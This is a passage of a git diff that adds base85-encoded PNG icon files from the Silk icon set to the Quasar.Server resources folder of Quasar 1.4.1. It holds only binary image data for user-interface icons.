z3Rso-2LuI&ga?L)#b=8F1x!jqD8HWLRA2NMGT#GF22EXD*~00000NkvXXu0mjfKFDJN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..b85916d921ec08675f9e41f18c0fbfd7f2124d8c GIT binary patch literal 660 zcmV;F0&D$=P)Q?2k`9nO>z?V zkm+%pXeD(;$AS7ZfflT_L=+s|TT1_EiiW!ITMXX4Mag6@HO(#LRPSW@V;_Y>1H5R6 zv<447v{ZFFVUNY*Dm}RIv2nDFsh1@_Tuj zC17D*VH8v8SFpp^y1wjLHB#VfgRc!n3%(Jw(bShWQjmB~tT+!(MOc{COw72}B6pni uj`Q&8s8!`!6#=Xdf;B0000P)5jnv(m~oD{XNgT3)4vA_BpPAR^yYtKhdYt0F% zRhCi;sX!=&lnSXdLaG^CB85gO^}75>ZomdmT9+LPq@?{z=d(9HZcH$cN~HnRbYDRz zfsg`M30&z;S1A&AC%2X3x-w}7K-`DJ>yH0b_ir(QE9A5XQYrwdgM)v3=y!r-_us;n{0~Bx1NSxhn7-09ZmqgoMF?+)iQgb#j`e`+7534TN z0IpOht+6e*T|bCrncQg@#4y1G{LUj{Bc1qjw-f1V#cMdE%w2?U!P3-(1P$1h!NI^n zYF>po5J(3gHuQ{%fmY__6fxCz9dEM1=f*ao6DG#gP`>$-fmUFfQ2Qo~WyR~0Pz{s) z_nEh153w(m7@iS4z7&$=Fjpf*6qeoThyw_P)*6om`?f4(mTj;#xt=vi^`x%cPptPc zrpLvJW-}CQ#wj?(S8o;&mxxet6D`xAu4xF>S4X5LM0(y{oc<~-uVyN`jDhEG>CCGD z|Ek2~;!_YJ?tux5$LkQf1)(zOYq`k$bT6^U5=P&&kzGi+A}aH!shy18Z~8o~aj;gW+TQDw?~0 am(K6d-%A+Xv@1gZ0000G~lwc44+E`q>jqydsX9IH6-SKYrQ41uvJ53CgcdPe5{3UH{dfYo$>`2hfE+ZW-+ z=qyK@qHAx1qxUJx7$sWOfww-F*ka<>2?8sKD!vCdAJ5@=E`3kta9r>;!Op~8LeVCk zjrK5~+d_F!CaXab;Qm}e0pD|IZH(Z%aHJu^;ra+o8^?(h)seet4+YC39N4j#{8}R^ zKwt$G@Ljkw`5Dhk>b<8^e46ejC!B{}yhXUYjj5q-tT8C*03)a>>pW<#EhOYSH17?w z+ZiBQ)&hy=j9) zEY9ZRLY&RZj|kF4V@iU_JY`5llj VPx0FJ2v7h3002ovPDHLkV1gP+HZ1@E literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_gear.png new file mode 100755 index 0000000000000000000000000000000000000000..cfc2702acd7b7c84be4d84363e6845d4be5614ba GIT binary patch literal 714 zcmV;*0yX`KP)KTsd(L2%Nfb28ake(Nc)gcnjiHl06Vi5zr`8 z(3F?(m8sa))$`m0WS?l=+qJX%?3~|q&b{3f0P254(UJXrb9jGiI#k0{pbFjlDki*T zsNK65bM9bxejAF{MGVvdfg*Ucf>99P^0^-hR9&S2%@qIt{DU3aL~IrBX@O zh{xkltJMZF!Qku$_KzEIr<%^br7DT7!cwWkIkl(KYIP_Ui*UJIkjv$u`d_XSfR}Cb z{UM9R0=L_ZLZJY?UJqxoLZsE{kj-XUkQPFr5LDmuPuODtfppV3xYCS`Mgz%Y5)8w@ z@Angkj%{{2orpvt5Q#*37I1~SZ(2p|=nR#EQ|#1EP^{GPb@v#bw+~@78VP`#hFgbg zG?`3@Mxz`6VzKxVB{AfpV(m)(_QW!7K24!#B!TNn23O@VNMzIK?d?U6)DE-R43$cS wYY%A%1cIMD9`7A_#BRT>L?Qv7&&S{SUnp5P#YQSqod5s;07*qoM6N<$f_olE%m4rY literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_go.png new file mode 100755 index 0000000000000000000000000000000000000000..0528dfa24ea76e6d1ee3919deb5b95a6c3e8b27e GIT binary patch literal 683 zcmV;c0#yBpP)&Lm&p%aeyiM6U{&J)Zzehs6~qcg z1!K+DX=Sr^zrF)w?A~pFj1Mhkw|6ytB@m3*Ef1_!0J{5Ay8>LU$tBzlkaYmSjnfHU z4a{=AA%8R1Gc-$c-Bvue80=JFtfI~l^`U1lh3|Xx4yA~A;H@{^>pDl;EYVc{nu?-B zgeC*uF;DGCO|}YDsT!>58jRZ!uO%| z#aWyhLKQ+0j^vh5T5yV`V1?G+DzbUD4Iqkhjw~N8oy?y)Yaaf}M024fA2YfDrYonhIm@?o-n z-UASkj0YZ^uZk1(A&>yELViv$1v$q!d@xCtA0sdOD5KK@e4O~oYDmqN2hLGZe1M<7 z(;Ux_k(M<&2Okq^NFX7}co}ucMuw;Q8J!uUBKA~!+FL%aKO{HM-aTF&THSBNV#E@Y zZlYEZE93y5W*UijF$TuJP_pL<3oD7Y0Fm8(=VV)C#j3wAtu~o@R5;6( zl37TUQ5462-_l~GmD!jj5v>qoD#&CdZL|ncl0r}@v_nv@(Nole_8x&x6%kcZjNbMBwtJ?C(Yi}(AFYs~?vRk2bEsX!=& zlnSXdLaGrakwPPtde&IK$Om96t&i0Catrv6bK=UoWq5(p`9mB5v5 z)=M$`c5Fo>t}7>u0B8VqE#3D|zsHgSS4gq|sQ_qs5dJ5?wu*exBLQLv0I;*lL+is3 zJ607A=lqXD)Kz98$ z0Kk+|p#j@6s9WK|HleoC!*-vC8lMM%8lQ*N6K=6!R){%OyQy9Bnioxrs{xEtZJ+d^ zO-0=A`GsMO?$Sx{X*lg=)O z4W-$&xc%}6i*o`@E!l#McQdh|n568ZXieE95$kWZg~|-kG7UPr9DreO8sIAEi_c(M z|3^&A!7yWt&vPIdXYgCfvV{;f-+m@oP?$sT`ylf34UErMnYX+OoxX)3qx9TNVI`9!Qj(7! zBJ~X|LBB1fet5FwZCP5X$*z#NLL!CY@azuC*KZ*0G-KOSd37hvrB9m)=T$HmjdxtT zP~!(cYdxlYX{&yc3N`6iV5@$9dS&$No`nr#>FmF)?AM^v85y`cFa9%@=t@@v-Jo56-xpcZCLFvFo+sh%yoi{VZ?9B7cjqH@ z8!|K0K+I4z)ErSm)DSg96%|L#evN4{_Y+flvN@i^7vC@LifQSMZsr<)pJA<0#?&w| zOa&KZT_b+%+Dp|_hzX*?r~AGp1Wm_0Rk|^m+?;%ybY_6erk!{YJP6vXQ(u{gS1-+DVsvCiz+&=4Z_!gK zprJ`^=?3>+I>|eGM~G4xHY`4{oCq*90 zHfq~Hqng;lg=?$CiB$~Pv85Boz}<0ozC3%&%PVDHJU8YKX5RO?@Ai3R;RkPKA6bUws5yfGJ=?vs`Qc_KTWo0goouiTL-$h^=J)M zL(O?@u!DuWRi0($mT-4AOn)<_L=-A5W!r^l6;r`F>{yEp7wdQ}83!rCswNq=_ zq*jNNQb+|tDWp_Lr4dr4g+vOCRBEEDwY1U&ptQczSefnpm(CAfhmP(LNTs|0gWq2v zlt4&P#};uo!MS~DaC{N8 zCc_0sd|7PSe?371F2g}XWgdg$NiJ9B?;%LfL$Ni4Pa&qpcOjIeH(99(9V2I`$*Ld>uIkVFf6crZY_xlO|{6Tm3 z1o4FhjvYTmZOwVY;c&YXKnQ^b!l4;FIR^oF)OinK+qAT_P*qh$eSJN3b#(~arm3|Z z0FTGx-t|Ch%1aM3{dqDqst+F{gdh+IV47xXfGi886g@AVaq&Ve(P(tTp|$4j%daEC zmKCeXd2{W{Th5-WpxEalE7M6Lksufh;&!_!DJh|#pn%_-idb~s9v*r>=Scs~Wo2bX zQBjfKG|hqH;^I8F+id{OrKP1dAnNsc2Y`&t%}p7L#gdj~HT(fFX--g%a!N-40000< KMNUMnLSTZ?Bt^mi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_multiple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_multiple.png new file mode 100755 index 0000000000000000000000000000000000000000..d76448e34a04f5c94794597f91ade6f423b3f6cf GIT binary patch literal 612 zcmV-q0-ODbP)ksV9NN z3qiDb1PO+yeqNdxzIO_sX1Av&y1M_?ZDDomVoL*2?FM-IX?;MGp`IWvC#p1#nY3jJ z6bm`#SGIRV^~2K4@bzPWqZ~S{)O&5b=vs9*gIX*U3t1Lcw@N1sL;?6w3oh}-%Z>LL zjW1+G@==RS20Po^m|xj8QC)Wcp$QN*^0^4-N3u7@JNbu9#vFhbMa>XZ5^vNK0pQt} zM+6NV#8v9PftNtgK#;)0D@%AU`E&$p-uYaVW^%VQcV_om9PmL%4NM`Z5_?TEDZk!3 z6L539hr?fh@6|e@N(5vxQJM+BovZy+)^?em95?~^b`bwI5V4Po<;{_S-Y#klNi%U- zsJz{S2r6s4xJ(3Q-#JXdW#GlTufUN3fQvwZ()j|$AAsfA(OXRu6ICXMy9i>`8b1A*pL8W^+72efa&*(*OEc&2j); z!-o+QLL07Cg!0AT$Kd7{8Gf8Hp+ zj(3rXQmk%lW6j()UR}_};#?C=4b9B1n`Z4-uMGjjP7U*(ID*b|qeM~2>ERx#siwXv zPydZRhR3epDvmzgT)$l+Z1++h(Cl2B7yO-#{(Z{jNKT??rIrPSN z9C@>oa%mbXMC#($jpie0=Rjn!qCWFM2!?VK6qs( zTZa1hc}GtfAar7Q?@2`P`to{a#Q_WQDe7yI z;s_Q#m1cHrnuFcDnX=nN3FV!yUt-f2FH&NH4eje#v1}QxA}41u@SY{}GK}0T^GrjE z;`K>(9eaz~Yz?i8T2ND#ENVu*VqO_64)e>Io?aC_8f-mu>8v8!`-tjFrD$Lg-g=&s4? zu*m4J$?34k>axq~v&`zX%;>ev>bK77y3gvm(CfR<>%P+Kztij3;_%z$@!se1;_CF~ z?e^;M_v`WZ?eh5U^ZD=d`SA4m@%H-i_WShr`~Uy{pQ4*U0000ObW%=J07gbeNK{l* zT7Iy^%H#C){r>*`{{H^{79gv`0002SNklQD0`PchA+(ahX;e#Y}sk>X$$(6QwB?Ys=99PQlgo>gx966+>6p6dn9h)zyz862>z%&qozRq?zwDpD?V;0{rPZ9K z!|AES=&Hu)tj6iA$LOrb>aEA=t;g!F$mp)g>8{D@u*m4J$?34k>b1=1wax0j((Av| z>)7J(+vM@vJc33@b~NS_v{)Y?eh5UCNAzMFz)mD z?<_O$F*orwI`K9;@%H-i_WJZiNc8vn^+`;M1& zy-7qtR2Ug$!9OoUaTLel&%M7>8jMT^dz+?>5Q4;NwAQQZCcF#@AuJMqcB_^}qRBnq zbLh}W^m+KNs;sAwQomyCSZm0i3&*-Vr`%nVpR7$Wam3tbf{AP9Isq1Ncyj=Ed+-)u z9`&u=m%?L~WkIcM@3(ii`}7CBJcDZM6nAgDiHTM=V`L)hR#{5D556>sp~>AFZ$dm# z)^%-noa^PD!uTy=iPbl-1E-7=MWKA5^nxYxsN%{ zYcg%d7-$11o3+IR#W@}tS`pXHSbz8SOhjOadUBbKoBpTk)uG8fOA44R+C2RI9(PvU zML}|wTE>}c^>3Fu`XQxW(?C%3plj#ZWp$qqm{jT51AA5*g}23J5gbpqKr|AlMFJbA z4yAB^WCkY>dP}v3qcg}Ii08lkpjm-r0yYwEk{7=(BAHC!(P$A)0!S<_8velQc+Dyo z*wMNULdFCMdj#u(n{<%tNWtY@cRzRIL?(qS4;waT+dUlF@6~>-GR+Ez=XT@MPbJ*` z*aan2gda~|fD{rB@)BVXB3uv%sv!c#=}Ura&6Uh%Z)0bAGmhOlj4dr5OO&|ryc0?) zTt73wT{Wt*ia9xlO6a2^e8%$_%n!lo8=RtxN82zq<-=h~123}NRpCnZ8SadqYwldF zVOtY{jMSkwKS8sVkY0W%k&Rd5C2H^8NA+N1sWHC(DAVbi?<|az*F0dbd+P@Lnq9y) zZ!HQvuQ568M~3ZcU5$yKf12)sF=QGp5{+CdeA_FuS#STZ9h!ZS(c@A7yiDav@T88N bl|JXclv{aX%Z3zd00000NkvXXu0mjf?NAwh literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_save.png new file mode 100755 index 0000000000000000000000000000000000000000..25b74d18f740ff208435f72333a1633569c0e833 GIT binary patch literal 723 zcmV;^0xbQBP)9=EBdhkBh&jKg_`&J(Mr{5K9?YB z7%NS3^ZC#w7o(tnOANaU&GbDgva8U-z`c)j6qd7VU7r32pE$mM#UEBK-6|qt9$Fs- z6>t{%pB71ynwG1c@8bc0>raNK6Dt8qRVe;QF-EXH2&zgZfzI{KWSyaNeKXb?5(OWH zv)$_uQKBdbLe2@*YL(JNiVIR}Vqy(9UXB8Al#S?e6$ef`OJ z*^@Dj?#>2+q<{qlHA2?aai;eJ-%1m>7t)ru4w<;#O*nKUzaX~*8Diz*A!^1TLczbnd@cygZQu8S|yQc0M~PHm=T*UUVeXvI&U+E-jSmPDu1(PvLywGr8TgQ=M*)M_<+{4|1yv{5RR4tt*Wfq6tg zLV{VqgJ)69K=q3ablpCL%L@Jenx}`>=j@dCAobP_wYPDAM3Q7fL890|4 z#q#quqV8u*XLE?fV!B9yx*?fNYUt4!L!nSOsV9)M1v7z%l{QTPbh}+$%sJP^lBO8; z3a;zI^!V?C5EafH8AXH{TZL+c?Yyc{Q!(}Glv$=hf_>95_YL%VJsl5s55{@|)lF+a zE1Wu%&|-!|CLG7nKMr>flBfwxtpR;Z@85+l-@7=lHwt^xAuTMJrm4~2xi4NQ6w;oW z3%Uilc5~@%))oFv^}-Y;b^wV=Wvg>0lR-QlN3+>PwOWO3+gc~WEu+sIv|_QikCLa= zhy*j8PT$UEvnZF#sMqUrl-p3mgx7y17`FNO`B^GjA)LwQ^N)kMUmr-cdnR<{ga7~l M07*qoM6N<$f|JxSlmGw# literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag.png new file mode 100755 index 0000000000000000000000000000000000000000..6a16e9daf302f1485962a620b2702b3d15dae7d0 GIT binary patch literal 383 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbMf`~aU2*Z=?jDx#)|EDOa>>@94MPlaITkUT{Ob_@-XVJ=L6Rn&r2UMJ&s2+SJ~$ZMfqx`>E%= zr{0U7ySCi*=zHKb>5=!;M}D)O`pEZ492SelF{r G5}E+|bhCZ{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue.png new file mode 100755 index 0000000000000000000000000000000000000000..9757fc6ed6597438eb8e5a70a1ab2402cdebd5d1 GIT binary patch literal 586 zcmV-Q0=4~#P)6YY{78#rvt}vj%qrc zN=UU@y$E6COaj9&r1NAlaUpajQlL~SorN%pOwHs*2laYgHBA$?ZOd~4Rw@5yFm2?1ZIg`0V-$-;GT1Fi5dB7wUSNi^%`^Ge62m>OBeX610Nsukl}DhDG-mxT?nhyYH!4he7Ri8 zrq0Ti&UXUvqX&F@JcJAe14@BNBqAY_QZAPjF(Y3r7P9H_kB#@LgFAf>xz>Qp&n=|a z>ro1XLZK^nmO`PRh#C2OK0ktd7l6-A;O5?fz1gNnCX)yR00~-SI9%?%=X}23bKl`4NrEVf$mjFO<#Nbov&dvJ zNT<_CrBZ7ExK+Uw3I&YEL1 zq(%qHWHR0F_n|0?dQQMtEQVk(xD>*X>NJrR|6!IJgTVluzJkEFiIZBbhHyBHKp?OH z;YfLEc{Cb2#_Pl@g6c zwX8?E)9I*5#h(iF=`qaGA;gdY_^%U4sZ=5tu-olxvtB}>ke2l*x7+On$PNQM`eeub zw>sQOtcA_q_1U#pC~GN zxfc`_zq*cJS5eFyM^neBh0V3}>eD$_#z~y93x^BudEejjyyv`!5k(Q1Oa`e`3dv*= zi9`bNcpQQtAQp?w0$`>sCY?^B-|tVXYPG6B!r|~#2t$==L8Verl*{Gv2ts4T1p-Cg41%^T)c)i|3Aq-XBPb9^Eh~-MB(?O%%1HUtLQYw|; z_xr)~`~-xd%KMgOSq3fM-RomxYk()80j@IKD;A5?1w0eX zO8_7BFTq~F0B&Ih{IyeXKfVEz$#iz?L`i>Ij^m_Stu}(_2;{@7O(gElqvL#zLDr4E zPj?Wzbx~#))VC+@m1SA2+wGRu@+EI*AlQZ4U$s{{4PFIsxvodT`{7+wFD@IcbRw7dsPL` zqN+OerCF_3joECLc-<-@E9d2JYjfCrFoQ2E$G|VCW%r`$A@jfIYBU-(27}>DVEOcY jqWG2CCjT8;O!xl+&v_qytO7mD00000NkvXXu0mjfWRW`K literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..2a9f6266ebbfb023c9965cac87924611d3242a2d GIT binary patch literal 748 zcmVPQ541JUvS~ZL`~zygnz)KVWCC?F5D=Ikq8U?h>6CXAjX9uM6jBuQEWg2V^GsJ zMH;n{ex$Xn{j#O)Obd}(%Ft$twTjfv*iMJzn?agT3X8Y7bI9*=`z7{p>R zM59qeA`yhcVT3{<1cSld0H~b~Mbk7SN!oHUnT!JQ`FuM-Mr_<>gM6Qt( zaJ${xLMS=1+$_7vg+L$>Di(_nMNz5CK(E&ehr`hjLdmWhjYM1~ky$|ykSmI?Ev+X> zrBZOYT(H?}TOgF|yb-xttwI)mFG;vNvxdGefR$bUmP{rQusp)t#2L&_^&>KR9MLCD z9Tb_7&*$?>Q>9V?N1O-4YZzjH;W(g~S%>_|OoFp_Vo~nZx7psL70cE|*gv zi60^cLK3tjfhp`nfw={VcZ2_S1%<#>%)aa*Bb!S4U!4hV~9@te7c zr1k{t#!*?UQf{ICTBfI`)#g`y<;2J9B=#o=3tjljp2G@BGXJy%7Sn6!^?Ft98tVbi zF7NG%f9OTj`~Vq$8%hi9C`5Yjb(qASn%E?62+$241y<9T8$Jzt?;d!xt#E0M!D1ZW zB5nxiyU-+-y^m4$KZL*kFm#s=z^osIPN!2fe9HBOw&q>Joz8=zZJ<@O-aq0r4)vTO e;(gowO#c9xAttCU0DR;C0000^5T)AZ%#@G{_P{NCN^P z(J0zvSn~SSm(Ur);-M~8^*;61*VRI`T1BN&LAhK;sZ>I-SVW;vfUfJv=ko^ugnc0x zhJodBxe>iyk3%w<%wC8holUJ4(iv>tL{`DQt zPOsyUbO_Cmc&*iHkqbm3ku`|GcC^OhF>jj9W*GkH;^g!iUVpib_h*=@udp4h(P+e*zL_~ZmJjh(y^BxULwq>9zXoYE8sq{#pN~U0C6!8vY)5N2 z9P*}mw}7X$O^qTtJef1ACWvJT9^wt-)Zh0r~j#0bT`f;-zv6 z^Tmw22!%rMcs!TaUX<-8s;X-B`+Xbo+_uWuFa z1yIPc?DTrQ7KvRhmt*TG|L=EYQ=LqFX;=Lp`4}jx6BE-@00000NkvXXu0mjf=s_29 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_orange.png new file mode 100755 index 0000000000000000000000000000000000000000..454a59f30ca04916c30b5da70821b236df7dd934 GIT binary patch literal 586 zcmV-Q0=4~#P)YYm{!ci%zG5cDs#MtA%E>iAJM=dcBTXt#$=Kxm1c}S>T)> z)oeDCkaD?v5u%VY38vGjbe>Em9)x-#1qy}2S%^ZB=`y)dqgt)jH=7L{$B}&kmP#dL zv)PjngPi@y?F z?msb!MgKs27C;q`$Nl1^87)}9-#;n72%w5aqyBI>%t#yv1bin~`G3EwaPlhB@q!hxI!PKQbx4SpL{`r}VmgkO zKJ1rs_WIV^Cp$u~*F(44MZ4WbtJOlY*+iq!K)qf^tya4OAlxdU)9GNp-=EcdKIf2f zxqK5MkTVHpvl(}uPNxop&R7Z*3Wci>fg)2gxzRzjTCMB44$HFmIRQ(h60+IsMTkJI z$3`aJvdFXbdX25Rfl*oUyUApNd_Ip%CUXW6$oUxAwr!Budf7tzCgJ6?1fzU_jK^b2 zfn+jy0uk7ZrmCvEX}8;PXYF3X>c?-ad@8i>vI7~7Mw9~4Xw-oSl}hCko6%Ghg*TZa zojb2QDqe$2yuO1BheJw%P$$M1@gl$?5#tJcsvfD&-d}drYvCA3ZZKYBvF_B1^w22%tHlRHzus60N_IkZ8=MgV0M=TZ-Baw(nn|S=hBxdI) z;;R6va5(H{FKyC-4F-dY;+p`fU@++R`~4<~Jsywi;wt~|cV(__CjM~k{x92pJ|?T2 RMYR9`002ovPDHLkV1iy62OIzZ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_purple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_purple.png new file mode 100755 index 0000000000000000000000000000000000000000..ebaf0e8743fc33cf152cb7694b865e8d8adbfa90 GIT binary patch literal 599 zcmV-d0;v6oP)GWQRM3$+Tx>2G~D3qqtDdzLJ$P+M| z%_5OV?1V_vbzR8Cf4JqIVHo)K^%pXcv3TotyGW%{h{xkw5Q#dkEiV=ekof!9z?%~d z=g(E7!z)Oq(;*j#L?RmyiObN>-n-ERY$OQs{fC-WE z`TR3JBO8xbMN0KSbiO^m!^f-pEr_bBgH6ZV(+;jrKl87%5H3QY5S&iu(~XVt z`Q%tE#s-6d3Aucs;QCb?w-;^voEneC7ITEh5sgOWa5&8962;=`54d^#1;35CDRwv< z7ITTajw2Wh%6`9}(Iu`wF^PG8L%bJ2;q&>deAA2$Oi`4b;)4JRkH=$mxm=9IcDvoO l^OXPhyYjA9E`GA_{V$1@FaBct0}KEF002ovPDHLkV1kGx8r%Q? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_red.png new file mode 100755 index 0000000000000000000000000000000000000000..6ebb37d25f58c68246d8ad6a015295dfa5367870 GIT binary patch literal 592 zcmV-W0k7R5;6p zlgVxxK@f)LC45c9TOf_{d{!)DV#gQ9u^lTnR)N?B4hRsNK&)mFLI{BXaU6RP-Hd*B zb;Jb3l0#jp`v2;$?rNpgYN6R|qF%3~R;!^}t)fz?pj!?Xf$9L#$Jra zV+qOU^Cuw+btb`RG?JZ%!=VYGoN$3mCUX>`kYzed-6&Bk7R#EZfpaeN1kB}fNG6j9 zAqsWf92DY}usm8Wm*DdmSn7|g4F&_G(`h6Ui9Luyoi~=(>orKcUM#@A*}%S@gC$>N zt>5pH3q+&Q9f%@k)E7cPhZtkvGtt>@1HZome|iABzA_=bUXNTL7z~;arBEn*5i{!Z z`TQ^BwFP!@4*qZt{`(pH*W(VP+wGDI_d4WAzVcfivW|vfP^h0000QiaQF5iW`b6E^(ZmMn^kdOo-E`onH8J z>I^oDOD^i7tLp#iuVX0<1_Si_eRR8BbUGch+ikR3Ei{`=G#ZU70Mez9dc7VT$2p4m zd@dl>YV{&SqRAvsRaHz@6vc&5j=MmqR5}Zh$TBt4G)mO#_2y=?fn`}DPryp0f_y%I z5+c#mT_YF2aLcM;7%2yjikWQx$AQIn^t=DVOWSS;S{So@FPhj^qFdn`O&<--0OvnY|@wf|-YPH%sz9Z8# zO*CzvI(X)jneq*W`tt}f9*@ZdB9VxI2uitJmidlswOYMG{`5KIBMjws55m8-gs2aP zLvn#oD0JoSQYaK;z9U;Mm&cHYA7FRacp6>9u`S^unM@)O2)sRbQNEv?&1TtRvDkxr zfPVJ{f2X&2F*f^RkGsNtWHK2!l}a(X#8*fU&-Y*9ScWV1`~4pG5le8ujv*W^`bq(deZ3B7hB~2~XTCyZ1O;cQ)B1udZC+u$StgkNJem9(+80{W^ak4$r zssW%66N!3M{XR?-QICiq>aimHe*MqdrL?~k9;}zz&5;}{t9NlCTfU+yw_XaW)Ch4whj=bo>I#_Vs6a)#}JGIWNaL~IW&KV7+rh@w6q zqeyD<^tSp;x2rf+j4_xmzWv1qE+$Zq3342N^(Z@89#MUG1~^fiDr4c0`S}IXK@XQ% zHvj1p{<^sONvG-0)W=J?X0zSO<%?$h<`V07dt^>zfOIP#7t)x%Dqs7rGa}Kl|zX00F>> zFMph>SIQr>nsqXP@`0y)H!7nnulA@`>O|$nn~&zf+b7SPczgGU&P=O-3Bd%670gqB zR&A7>`vby4iK&BQ)w#D$eGU*@`syR!nVp%dR;q05T11s%^d!K0PpKG@#4)`+p;(<_ zv{pF*5CSBb1{+(u+}e0Rk~WyXvPhg{I8jn7SZhg>lq^YESze(ODM8Q=9|N4VSWz